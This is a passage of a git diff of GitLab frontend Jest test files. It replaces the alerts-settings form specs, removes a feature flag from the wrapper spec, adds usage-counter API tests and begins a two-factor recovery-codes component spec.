- expect(findMappingBuilderSection().exists()).toBe(visible);
- });
- });
- });
-});
diff --git a/spec/frontend/alerts_settings/alerts_settings_form_old_spec.js b/spec/frontend/alerts_settings/alerts_settings_form_old_spec.js
deleted file mode 100644
index 3d0dfb44d63..00000000000
--- a/spec/frontend/alerts_settings/alerts_settings_form_old_spec.js
+++ /dev/null
@@ -1,204 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlModal, GlAlert } from '@gitlab/ui';
-import AlertsSettingsForm from '~/alerts_settings/components/alerts_settings_form_old.vue';
-import ToggleButton from '~/vue_shared/components/toggle_button.vue';
-import { i18n } from '~/alerts_settings/constants';
-import service from '~/alerts_settings/services';
-import { defaultAlertSettingsConfig } from './util';
-
-jest.mock('~/alerts_settings/services');
-
-describe('AlertsSettingsFormOld', () => {
- let wrapper;
-
- const createComponent = ({ methods } = {}, data) => {
- wrapper = shallowMount(AlertsSettingsForm, {
- data() {
- return { ...data };
- },
- provide: {
- ...defaultAlertSettingsConfig,
- },
- methods,
- });
- };
-
- const findSelect = () => wrapper.find('[data-testid="alert-settings-select"]');
- const findJsonInput = () => wrapper.find('#alert-json');
- const findUrl = () => wrapper.find('#url');
- const findAuthorizationKey = () => wrapper.find('#authorization-key');
- const findApiUrl = () => wrapper.find('#api-url');
-
- beforeEach(() => {
- setFixtures(`
- <div>
- <span class="js-service-active-status fa fa-circle" data-value="true"></span>
- <span class="js-service-active-status fa fa-power-off" data-value="false"></span>
- </div>`);
- });
-
- afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
- });
-
- describe('with default values', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('renders the initial template', () => {
- expect(wrapper.html()).toMatchSnapshot();
- });
- });
-
- describe('reset key', () => {
- it('triggers resetKey method', () => {
- const resetKey = jest.fn();
- const methods = { resetKey };
- createComponent({ methods });
-
- wrapper.find(GlModal).vm.$emit('ok');
-
- expect(resetKey).toHaveBeenCalled();
- });
-
- it('updates the authorization key on success', () => {
- createComponent(
- {},
- {
- token: 'newToken',
- },
- );
-
- expect(findAuthorizationKey().attributes('value')).toBe('newToken');
- });
-
- it('shows a alert message on error', () => {
- service.updateGenericKey.mockRejectedValueOnce({});
-
- createComponent();
-
- return wrapper.vm.resetKey().then(() => {
- expect(wrapper.find(GlAlert).exists()).toBe(true);
- });
- });
- });
-
- describe('activate toggle', () => {
- it('triggers toggleActivated method', () => {
- const toggleService = jest.fn();
- const methods = { toggleService };
- createComponent({ methods });
-
- wrapper.find(ToggleButton).vm.$emit('change', true);
- expect(toggleService).toHaveBeenCalled();
- });
-
- describe('error is encountered', () => {
- it('restores previous value', () => {
- service.updateGenericKey.mockRejectedValueOnce({});
- createComponent();
- return wrapper.vm.resetKey().then(() => {
- expect(wrapper.find(ToggleButton).props('value')).toBe(false);
- });
- });
- });
- });
-
- describe('prometheus is active', () => {
- beforeEach(() => {
- createComponent(
- {},
- {
- selectedIntegration: 'PROMETHEUS',
- },
- );
- });
-
- it('renders a valid "select"', () => {
- expect(findSelect().exists()).toBe(true);
- });
-
- it('shows the API URL input', () => {
- expect(findApiUrl().exists()).toBe(true);
- });
-
- it('shows the correct default API URL', () => {
- expect(findUrl().attributes('value')).toBe(defaultAlertSettingsConfig.prometheus.url);
- });
- });
-
- describe('Opsgenie is active', () => {
- beforeEach(() => {
- createComponent(
- {},
- {
- selectedIntegration: 'OPSGENIE',
- },
- );
- });
-
- it('shows a input for the Opsgenie target URL', () => {
- expect(findApiUrl().exists()).toBe(true);
- });
- });
-
- describe('trigger test alert', () => {
- beforeEach(() => {
- createComponent({});
- });
-
- it('should enable the JSON input', () => {
- expect(findJsonInput().exists()).toBe(true);
- expect(findJsonInput().props('value')).toBe(null);
- });
-
- it('should validate JSON input', async () => {
- createComponent(true, {
- testAlertJson: '{ "value": "test" }',
- });
-
- findJsonInput().vm.$emit('change');
-
- await wrapper.vm.$nextTick();
-
- expect(findJsonInput().attributes('state')).toBe('true');
- });
-
- describe('alert service is toggled', () => {
- describe('error handling', () => {
- const toggleService = true;
-
- it('should show generic error', async () => {
- service.updateGenericActive.mockRejectedValueOnce({});
-
- createComponent();
-
- await wrapper.vm.toggleActivated(toggleService);
- expect(wrapper.vm.active).toBe(false);
- expect(wrapper.find(GlAlert).attributes('variant')).toBe('danger');
- expect(wrapper.find(GlAlert).text()).toBe(i18n.errorMsg);
- });
-
- it('should show first field specific error when available', async () => {
- const err1 = "can't be blank";
- const err2 = 'is not a valid URL';
- const key = 'api_url';
- service.updateGenericActive.mockRejectedValueOnce({
- response: { data: { errors: { [key]: [err1, err2] } } },
- });
-
- createComponent();
-
- await wrapper.vm.toggleActivated(toggleService);
-
- expect(wrapper.find(GlAlert).text()).toContain(i18n.errorMsg);
- expect(wrapper.find(GlAlert).text()).toContain(`${key} ${err1}`);
- });
- });
- });
- });
-});
diff --git a/spec/frontend/alerts_settings/alerts_settings_form_spec.js b/spec/frontend/alerts_settings/alerts_settings_form_spec.js
new file mode 100644
index 00000000000..428c6f93444
--- /dev/null
+++ b/spec/frontend/alerts_settings/alerts_settings_form_spec.js
@@ -0,0 +1,376 @@
+import { mount } from '@vue/test-utils';
+import {
+ GlForm,
+ GlFormSelect,
+ GlCollapse,
+ GlFormInput,
+ GlToggle,
+ GlFormTextarea,
+} from '@gitlab/ui';
+import waitForPromises from 'helpers/wait_for_promises';
+import AlertsSettingsForm from '~/alerts_settings/components/alerts_settings_form.vue';
+import { defaultAlertSettingsConfig } from './util';
+import { typeSet } from '~/alerts_settings/constants';
+
+describe('AlertsSettingsFormNew', () => {
+ let wrapper;
+ const mockToastShow = jest.fn();
+
+ const createComponent = ({
+ data = {},
+ props = {},
+ multipleHttpIntegrationsCustomMapping = false,
+ } = {}) => {
+ wrapper = mount(AlertsSettingsForm, {
+ data() {
+ return { ...data };
+ },
+ propsData: {
+ loading: false,
+ canAddIntegration: true,
+ canManageOpsgenie: true,
+ ...props,
+ },
+ provide: {
+ glFeatures: { multipleHttpIntegrationsCustomMapping },
+ ...defaultAlertSettingsConfig,
+ },
+ mocks: {
+ $toast: {
+ show: mockToastShow,
+ },
+ },
+ });
+ };
+
+ const findForm = () => wrapper.find(GlForm);
+ const findSelect = () => wrapper.find(GlFormSelect);
+ const findFormSteps = () => wrapper.find(GlCollapse);
+ const findFormFields = () => wrapper.findAll(GlFormInput);
+ const findFormToggle = () => wrapper.find(GlToggle);
+ const findTestPayloadSection = () => wrapper.find(`[id = "test-integration"]`);
+ const findMappingBuilderSection = () => wrapper.find(`[id = "mapping-builder"]`);
+ const findSubmitButton = () => wrapper.find(`[type = "submit"]`);
+ const findMultiSupportText = () =>
+ wrapper.find(`[data-testid="multi-integrations-not-supported"]`);
+ const findJsonTestSubmit = () => wrapper.find(`[data-testid="integration-test-and-submit"]`);
+ const findJsonTextArea = () => wrapper.find(`[id = "test-payload"]`);
+ const findActionBtn = () => wrapper.find(`[data-testid="payload-action-btn"]`);
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ describe('with default values', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders the initial template', () => {
+ expect(wrapper.html()).toMatchSnapshot();
+ });
+
+ it('render the initial form with only an integration type dropdown', () => {
+ expect(findForm().exists()).toBe(true);
+ expect(findSelect().exists()).toBe(true);
+ expect(findMultiSupportText().exists()).toBe(false);
+ expect(findFormSteps().attributes('visible')).toBeUndefined();
+ });
+
+ it('shows the rest of the form when the dropdown is used', async () => {
+ const options = findSelect().findAll('option');
+ await options.at(1).setSelected();
+
+ await wrapper.vm.$nextTick();
+
+ expect(
+ findFormFields()
+ .at(0)
+ .isVisible(),
+ ).toBe(true);
+ });
+
+ it('disables the dropdown and shows help text when multi integrations are not supported', async () => {
+ createComponent({ props: { canAddIntegration: false } });
+ expect(findSelect().attributes('disabled')).toBe('disabled');
+ expect(findMultiSupportText().exists()).toBe(true);
+ });
+
+ it('disabled the name input when the selected value is prometheus', async () => {
+ createComponent();
+ const options = findSelect().findAll('option');
+ await options.at(2).setSelected();
+
+ expect(
+ findFormFields()
+ .at(0)
+ .attributes('disabled'),
+ ).toBe('disabled');
+ });
+ });
+
+ describe('submitting integration form', () => {
+ it('allows for create-new-integration with the correct form values for HTTP', async () => {
+ createComponent();
+
+ const options = findSelect().findAll('option');
+ await options.at(1).setSelected();
+
+ await findFormFields()
+ .at(0)
+ .setValue('Test integration');
+ await findFormToggle().trigger('click');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findSubmitButton().exists()).toBe(true);
+ expect(findSubmitButton().text()).toBe('Save integration');
+
+ findForm().trigger('submit');
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('create-new-integration')).toBeTruthy();
+ expect(wrapper.emitted('create-new-integration')[0]).toEqual([
+ { type: typeSet.http, variables: { name: 'Test integration', active: true } },
+ ]);
+ });
+
+ it('allows for create-new-integration with the correct form values for PROMETHEUS', async () => {
+ createComponent();
+
+ const options = findSelect().findAll('option');
+ await options.at(2).setSelected();
+
+ await findFormFields()
+ .at(0)
+ .setValue('Test integration');
+ await findFormFields()
+ .at(1)
+ .setValue('https://test.com');
+ await findFormToggle().trigger('click');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findSubmitButton().exists()).toBe(true);
+ expect(findSubmitButton().text()).toBe('Save integration');
+
+ findForm().trigger('submit');
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('create-new-integration')).toBeTruthy();
+ expect(wrapper.emitted('create-new-integration')[0]).toEqual([
+ { type: typeSet.prometheus, variables: { apiUrl: 'https://test.com', active: true } },
+ ]);
+ });
+
+ it('allows for update-integration with the correct form values for HTTP', async () => {
+ createComponent({
+ data: {
+ selectedIntegration: typeSet.http,
+ currentIntegration: { id: '1', name: 'Test integration pre' },
+ },
+ props: {
+ loading: false,
+ },
+ });
+
+ await findFormFields()
+ .at(0)
+ .setValue('Test integration post');
+ await findFormToggle().trigger('click');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findSubmitButton().exists()).toBe(true);
+ expect(findSubmitButton().text()).toBe('Save integration');
+
+ findForm().trigger('submit');
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('update-integration')).toBeTruthy();
+ expect(wrapper.emitted('update-integration')[0]).toEqual([
+ { type: typeSet.http, variables: { name: 'Test integration post', active: true } },
+ ]);
+ });
+
+ it('allows for update-integration with the correct form values for PROMETHEUS', async () => {
+ createComponent({
+ data: {
+ selectedIntegration: typeSet.prometheus,
+ currentIntegration: { id: '1', apiUrl: 'https://test-pre.com' },
+ },
+ props: {
+ loading: false,
+ },
+ });
+
+ await findFormFields()
+ .at(0)
+ .setValue('Test integration');
+ await findFormFields()
+ .at(1)
+ .setValue('https://test-post.com');
+ await findFormToggle().trigger('click');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findSubmitButton().exists()).toBe(true);
+ expect(findSubmitButton().text()).toBe('Save integration');
+
+ findForm().trigger('submit');
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('update-integration')).toBeTruthy();
+ expect(wrapper.emitted('update-integration')[0]).toEqual([
+ { type: typeSet.prometheus, variables: { apiUrl: 'https://test-post.com', active: true } },
+ ]);
+ });
+ });
+
+ describe('submitting the integration with a JSON test payload', () => {
+ beforeEach(() => {
+ createComponent({
+ data: {
+ selectedIntegration: typeSet.http,
+ currentIntegration: { id: '1', name: 'Test' },
+ active: true,
+ },
+ props: {
+ loading: false,
+ },
+ });
+ });
+
+ it('should not allow a user to test invalid JSON', async () => {
+ jest.useFakeTimers();
+ await findJsonTextArea().setValue('Invalid JSON');
+
+ jest.runAllTimers();
+ await wrapper.vm.$nextTick();
+
+ expect(findJsonTestSubmit().exists()).toBe(true);
+ expect(findJsonTestSubmit().text()).toBe('Save and test payload');
+ expect(findJsonTestSubmit().props('disabled')).toBe(true);
+ });
+
+ it('should allow for the form to be automatically saved if the test payload is successfully submitted', async () => {
+ jest.useFakeTimers();
+ await findJsonTextArea().setValue('{ "value": "value" }');
+
+ jest.runAllTimers();
+ await wrapper.vm.$nextTick();
+ expect(findJsonTestSubmit().props('disabled')).toBe(false);
+ });
+ });
+
+ describe('Test payload section for HTTP integration', () => {
+ beforeEach(() => {
+ createComponent({
+ multipleHttpIntegrationsCustomMapping: true,
+ props: {
+ currentIntegration: {
+ type: typeSet.http,
+ },
+ },
+ });
+ });
+
+ describe.each`
+ active | resetSamplePayloadConfirmed | disabled
+ ${true} | ${true} | ${undefined}
+ ${false} | ${true} | ${'disabled'}
+ ${true} | ${false} | ${'disabled'}
+ ${false} | ${false} | ${'disabled'}
+ `('', ({ active, resetSamplePayloadConfirmed, disabled }) => {
+ const payloadResetMsg = resetSamplePayloadConfirmed ? 'was confirmed' : 'was not confirmed';
+ const enabledState = disabled === 'disabled' ? 'disabled' : 'enabled';
+ const activeState = active ? 'active' : 'not active';
+
+ it(`textarea should be ${enabledState} when payload reset ${payloadResetMsg} and current integration is ${activeState}`, async () => {
+ wrapper.setData({
+ customMapping: { samplePayload: true },
+ active,
+ resetSamplePayloadConfirmed,
+ });
+ await wrapper.vm.$nextTick();
+ expect(
+ findTestPayloadSection()
+ .find(GlFormTextarea)
+ .attributes('disabled'),
+ ).toBe(disabled);
+ });
+ });
+
+ describe('action buttons for sample payload', () => {
+ describe.each`
+ resetSamplePayloadConfirmed | samplePayload | caption
+ ${false} | ${true} | ${'Edit payload'}
+ ${true} | ${false} | ${'Submit payload'}
+ ${true} | ${true} | ${'Submit payload'}
+ ${false} | ${false} | ${'Submit payload'}
+ `('', ({ resetSamplePayloadConfirmed, samplePayload, caption }) => {
+ const samplePayloadMsg = samplePayload ? 'was provided' : 'was not provided';
+ const payloadResetMsg = resetSamplePayloadConfirmed ? 'was confirmed' : 'was not confirmed';
+
+ it(`shows ${caption} button when sample payload ${samplePayloadMsg} and payload reset ${payloadResetMsg}`, async () => {
+ wrapper.setData({
+ selectedIntegration: typeSet.http,
+ customMapping: { samplePayload },
+ resetSamplePayloadConfirmed,
+ });
+ await wrapper.vm.$nextTick();
+ expect(findActionBtn().text()).toBe(caption);
+ });
+ });
+ });
+
+ describe('Parsing payload', () => {
+ it('displays a toast message on successful parse', async () => {
+ jest.useFakeTimers();
+ wrapper.setData({
+ selectedIntegration: typeSet.http,
+ customMapping: { samplePayload: false },
+ });
+ await wrapper.vm.$nextTick();
+
+ findActionBtn().vm.$emit('click');
+ jest.advanceTimersByTime(1000);
+
+ await waitForPromises();
+
+ expect(mockToastShow).toHaveBeenCalledWith(
+ 'Sample payload has been parsed. You can now map the fields.',
+ );
+ });
+ });
+ });
+
+ describe('Mapping builder section', () => {
+ describe.each`
+ featureFlag | integrationOption | visible
+ ${true} | ${1} | ${true}
+ ${true} | ${2} | ${false}
+ ${false} | ${1} | ${false}
+ ${false} | ${2} | ${false}
+ `('', ({ featureFlag, integrationOption, visible }) => {
+ const visibleMsg = visible ? 'is rendered' : 'is not rendered';
+ const featureFlagMsg = featureFlag ? 'is enabled' : 'is disabled';
+ const integrationType = integrationOption === 1 ? typeSet.http : typeSet.prometheus;
+
+ it(`${visibleMsg} when multipleHttpIntegrationsCustomMapping feature flag ${featureFlagMsg} and integration type is ${integrationType}`, async () => {
+ createComponent({ multipleHttpIntegrationsCustomMapping: featureFlag });
+ const options = findSelect().findAll('option');
+ options.at(integrationOption).setSelected();
+ await wrapper.vm.$nextTick();
+ expect(findMappingBuilderSection().exists()).toBe(visible);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/alerts_settings/alerts_settings_wrapper_spec.js b/spec/frontend/alerts_settings/alerts_settings_wrapper_spec.js
index 7384cf9a095..fe187d9e8f9 100644
--- a/spec/frontend/alerts_settings/alerts_settings_wrapper_spec.js
+++ b/spec/frontend/alerts_settings/alerts_settings_wrapper_spec.js
@@ -1,12 +1,13 @@
import VueApollo from 'vue-apollo';
import { mount, createLocalVue } from '@vue/test-utils';
+import AxiosMockAdapter from 'axios-mock-adapter';
import createMockApollo from 'jest/helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
-import { GlLoadingIcon, GlAlert } from '@gitlab/ui';
import { useMockIntersectionObserver } from 'helpers/mock_dom_observer';
+import { GlLoadingIcon, GlAlert } from '@gitlab/ui';
+import axios from '~/lib/utils/axios_utils';
import AlertsSettingsWrapper from '~/alerts_settings/components/alerts_settings_wrapper.vue';
-import AlertsSettingsFormOld from '~/alerts_settings/components/alerts_settings_form_old.vue';
-import AlertsSettingsFormNew from '~/alerts_settings/components/alerts_settings_form_new.vue';
+import AlertsSettingsForm from '~/alerts_settings/components/alerts_settings_form.vue';
import IntegrationsList from '~/alerts_settings/components/alerts_integrations_list.vue';
import getIntegrationsQuery from '~/alerts_settings/graphql/queries/get_integrations.query.graphql';
import createHttpIntegrationMutation from '~/alerts_settings/graphql/mutations/create_http_integration.mutation.graphql';
@@ -75,7 +76,6 @@ describe('AlertsSettingsWrapper', () => {
},
provide: {
...defaultAlertSettingsConfig,
- glFeatures: { httpIntegrationsList: false },
...provide,
},
mocks: {
@@ -110,39 +110,25 @@ describe('AlertsSettingsWrapper', () => {
apolloProvider: fakeApollo,
provide: {
...defaultAlertSettingsConfig,
- glFeatures: { httpIntegrationsList: true },
},
});
}
afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
+ wrapper.destroy();
+ wrapper = null;
});
- describe('with httpIntegrationsList feature flag disabled', () => {
- it('renders data driven alerts integrations list and old form by default', () => {
- createComponent();
- expect(wrapper.find(IntegrationsList).exists()).toBe(true);
- expect(wrapper.find(AlertsSettingsFormOld).exists()).toBe(true);
- expect(wrapper.find(AlertsSettingsFormNew).exists()).toBe(false);
- });
- });
-
- describe('with httpIntegrationsList feature flag enabled', () => {
+ describe('rendered via default permissions', () => {
it('renders the GraphQL alerts integrations list and new form', () => {
- createComponent({ provide: { glFeatures: { httpIntegrationsList: true } } });
+ createComponent();
expect(wrapper.find(IntegrationsList).exists()).toBe(true);
- expect(wrapper.find(AlertsSettingsFormOld).exists()).toBe(false);
- expect(wrapper.find(AlertsSettingsFormNew).exists()).toBe(true);
+ expect(wrapper.find(AlertsSettingsForm).exists()).toBe(true);
});
it('uses a loading state inside the IntegrationsList table', () => {
createComponent({
data: { integrations: {} },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: true,
});
expect(wrapper.find(IntegrationsList).exists()).toBe(true);
@@ -152,7 +138,6 @@ describe('AlertsSettingsWrapper', () => {
it('renders the IntegrationsList table using the API data', () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
expect(findLoader().exists()).toBe(false);
@@ -162,14 +147,13 @@ describe('AlertsSettingsWrapper', () => {
it('calls `$apollo.mutate` with `createHttpIntegrationMutation`', () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({
data: { createHttpIntegrationMutation: { integration: { id: '1' } } },
});
- wrapper.find(AlertsSettingsFormNew).vm.$emit('create-new-integration', {
+ wrapper.find(AlertsSettingsForm).vm.$emit('create-new-integration', {
type: typeSet.http,
variables: createHttpVariables,
});
@@ -185,14 +169,13 @@ describe('AlertsSettingsWrapper', () => {
it('calls `$apollo.mutate` with `updateHttpIntegrationMutation`', () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({
data: { updateHttpIntegrationMutation: { integration: { id: '1' } } },
});
- wrapper.find(AlertsSettingsFormNew).vm.$emit('update-integration', {
+ wrapper.find(AlertsSettingsForm).vm.$emit('update-integration', {
type: typeSet.http,
variables: updateHttpVariables,
});
@@ -206,14 +189,13 @@ describe('AlertsSettingsWrapper', () => {
it('calls `$apollo.mutate` with `resetHttpTokenMutation`', () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({
data: { resetHttpTokenMutation: { integration: { id: '1' } } },
});
- wrapper.find(AlertsSettingsFormNew).vm.$emit('reset-token', {
+ wrapper.find(AlertsSettingsForm).vm.$emit('reset-token', {
type: typeSet.http,
variables: { id: ID },
});
@@ -229,14 +211,13 @@ describe('AlertsSettingsWrapper', () => {
it('calls `$apollo.mutate` with `createPrometheusIntegrationMutation`', () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({
data: { createPrometheusIntegrationMutation: { integration: { id: '2' } } },
});
- wrapper.find(AlertsSettingsFormNew).vm.$emit('create-new-integration', {
+ wrapper.find(AlertsSettingsForm).vm.$emit('create-new-integration', {
type: typeSet.prometheus,
variables: createPrometheusVariables,
});
@@ -252,14 +233,13 @@ describe('AlertsSettingsWrapper', () => {
it('calls `$apollo.mutate` with `updatePrometheusIntegrationMutation`', () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({
data: { updatePrometheusIntegrationMutation: { integration: { id: '2' } } },
});
- wrapper.find(AlertsSettingsFormNew).vm.$emit('update-integration', {
+ wrapper.find(AlertsSettingsForm).vm.$emit('update-integration', {
type: typeSet.prometheus,
variables: updatePrometheusVariables,
});
@@ -273,14 +253,13 @@ describe('AlertsSettingsWrapper', () => {
it('calls `$apollo.mutate` with `resetPrometheusTokenMutation`', () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({
data: { resetPrometheusTokenMutation: { integration: { id: '1' } } },
});
- wrapper.find(AlertsSettingsFormNew).vm.$emit('reset-token', {
+ wrapper.find(AlertsSettingsForm).vm.$emit('reset-token', {
type: typeSet.prometheus,
variables: { id: ID },
});
@@ -296,12 +275,11 @@ describe('AlertsSettingsWrapper', () => {
it('shows an error alert when integration creation fails ', async () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockRejectedValue(ADD_INTEGRATION_ERROR);
- wrapper.find(AlertsSettingsFormNew).vm.$emit('create-new-integration', {});
+ wrapper.find(AlertsSettingsForm).vm.$emit('create-new-integration', {});
await waitForPromises();
@@ -311,13 +289,12 @@ describe('AlertsSettingsWrapper', () => {
it('shows an error alert when integration token reset fails ', async () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockRejectedValue(RESET_INTEGRATION_TOKEN_ERROR);
- wrapper.find(AlertsSettingsFormNew).vm.$emit('reset-token', {});
+ wrapper.find(AlertsSettingsForm).vm.$emit('reset-token', {});
await waitForPromises();
expect(createFlash).toHaveBeenCalledWith({ message: RESET_INTEGRATION_TOKEN_ERROR });
@@ -326,30 +303,30 @@ describe('AlertsSettingsWrapper', () => {
it('shows an error alert when integration update fails ', async () => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockRejectedValue(errorMsg);
- wrapper.find(AlertsSettingsFormNew).vm.$emit('update-integration', {});
+ wrapper.find(AlertsSettingsForm).vm.$emit('update-integration', {});
await waitForPromises();
expect(createFlash).toHaveBeenCalledWith({ message: UPDATE_INTEGRATION_ERROR });
});
it('shows an error alert when integration test payload fails ', async () => {
+ const mock = new AxiosMockAdapter(axios);
+ mock.onPost(/(.*)/).replyOnce(403);
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true } },
loading: false,
});
- wrapper.find(AlertsSettingsFormNew).vm.$emit('test-payload-failure');
-
- await waitForPromises();
- expect(createFlash).toHaveBeenCalledWith({ message: INTEGRATION_PAYLOAD_TEST_ERROR });
- expect(createFlash).toHaveBeenCalledTimes(1);
+ return wrapper.vm.validateAlertPayload({ endpoint: '', data: '', token: '' }).then(() => {
+ expect(createFlash).toHaveBeenCalledWith({ message: INTEGRATION_PAYLOAD_TEST_ERROR });
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ mock.restore();
+ });
});
});
@@ -405,7 +382,7 @@ describe('AlertsSettingsWrapper', () => {
it.each([true, false])('it shows/hides the alert when opsgenie is %s', active => {
createComponent({
data: { integrations: { list: mockIntegrations }, currentIntegration: mockIntegrations[0] },
- provide: { glFeatures: { httpIntegrationsList: true }, opsgenie: { active } },
+ provide: { opsgenie: { active } },
loading: false,
});
diff --git a/spec/frontend/api_spec.js b/spec/frontend/api_spec.js
index 724d33922a1..37630c15b89 100644
--- a/spec/frontend/api_spec.js
+++ b/spec/frontend/api_spec.js
@@ -1254,6 +1254,46 @@ describe('Api', () => {
});
});
+ describe('trackRedisCounterEvent', () => {
+ const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/usage_data/increment_counter`;
+
+ const event = 'dummy_event';
+ const postData = { event };
+ const headers = {
+ 'Content-Type': 'application/json',
+ };
+
+ describe('when usage data increment counter is called with feature flag disabled', () => {
+ beforeEach(() => {
+ gon.features = { ...gon.features, usageDataApi: false };
+ });
+
+ it('returns null', () => {
+ jest.spyOn(axios, 'post');
+ mock.onPost(expectedUrl).replyOnce(httpStatus.OK, true);
+
+ expect(axios.post).toHaveBeenCalledTimes(0);
+ expect(Api.trackRedisCounterEvent(event)).toEqual(null);
+ });
+ });
+
+ describe('when usage data increment counter is called', () => {
+ beforeEach(() => {
+ gon.features = { ...gon.features, usageDataApi: true };
+ });
+
+ it('resolves the Promise', () => {
+ jest.spyOn(axios, 'post');
+ mock.onPost(expectedUrl, { event }).replyOnce(httpStatus.OK, true);
+
+ return Api.trackRedisCounterEvent(event).then(({ data }) => {
+ expect(data).toEqual(true);
+ expect(axios.post).toHaveBeenCalledWith(expectedUrl, postData, { headers });
+ });
+ });
+ });
+ });
+
describe('trackRedisHllUserEvent', () => {
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/usage_data/increment_unique_users`;
diff --git a/spec/frontend/authentication/two_factor_auth/components/recovery_codes_spec.js b/spec/frontend/authentication/two_factor_auth/components/recovery_codes_spec.js
new file mode 100644
index 00000000000..025e605b920
--- /dev/null
+++ b/spec/frontend/authentication/two_factor_auth/components/recovery_codes_spec.js
@@ -0,0 +1,242 @@
+import { mount } from '@vue/test-utils';
+import { GlAlert, GlButton } from '@gitlab/ui';
+import { nextTick } from 'vue';
+import { within } from '@testing-library/dom';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import Tracking from '~/tracking';
+import RecoveryCodes, {
+ i18n,
+} from '~/authentication/two_factor_auth/components/recovery_codes.vue';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import {
+ RECOVERY_CODE_DOWNLOAD_FILENAME,
+ COPY_KEYBOARD_SHORTCUT,
+} from '~/authentication/two_factor_auth/constants';
+import { codes, codesFormattedString, codesDownloadHref, profileAccountPath } from '../mock_data';
+
+describe('RecoveryCodes', () => {
+ let wrapper;
+
+ const createComponent = (options = {}) => {
+ wrapper = extendedWrapper(
+ mount(RecoveryCodes, {
+ propsData: {
+ codes,
+ profileAccountPath,
+ ...(options?.propsData || {}),
+ },
+ ...options,
+ }),
+ );
+ };
+
+ const queryByText = (text, options) => within(wrapper.element).queryByText(text, options);
+ const findAlert = () => wrapper.find(GlAlert);
+ const findRecoveryCodes = () => wrapper.findByTestId('recovery-codes');
+ const findCopyButton = () => wrapper.find(ClipboardButton);
+ const findButtonByText = text =>
+ wrapper.findAll(GlButton).wrappers.find(buttonWrapper => buttonWrapper.text() === text);
+ const findDownloadButton = () => findButtonByText('Download codes');
+ const findPrintButton = () => findButtonByText('Print codes');
+ const findProceedButton = () => findButtonByText('Proceed');
+ const manuallyCopyRecoveryCodes = () =>
+ wrapper.vm.$options.mousetrap.trigger(COPY_KEYBOARD_SHORTCUT);
+
+ beforeEach(() => {
+ jest.spyOn(Tracking, 'event');
+ createComponent();
+ });
+
+ it('renders title', () => {
+ expect(queryByText(i18n.pageTitle)).toEqual(expect.any(HTMLElement));
+ });
+
+ it('renders alert', () => {
+ expect(findAlert().exists()).toBe(true);
+ expect(findAlert().text()).toBe(i18n.alertTitle);
+ });
+
+ it('renders codes', () => {
+ const recoveryCodes = findRecoveryCodes().text();
+
+ codes.forEach(code => {
+ expect(recoveryCodes).toContain(code);
+ });
+ });
+
+ describe('"Proceed" button', () => {
+ it('renders button as disabled', () => {
+ const proceedButton = findProceedButton();
+
+ expect(proceedButton.exists()).toBe(true);
+ expect(proceedButton.props('disabled')).toBe(true);
+ expect(proceedButton.attributes()).toMatchObject({
+ title: i18n.proceedButton,
+ href: profileAccountPath,
+ });
+ });
+
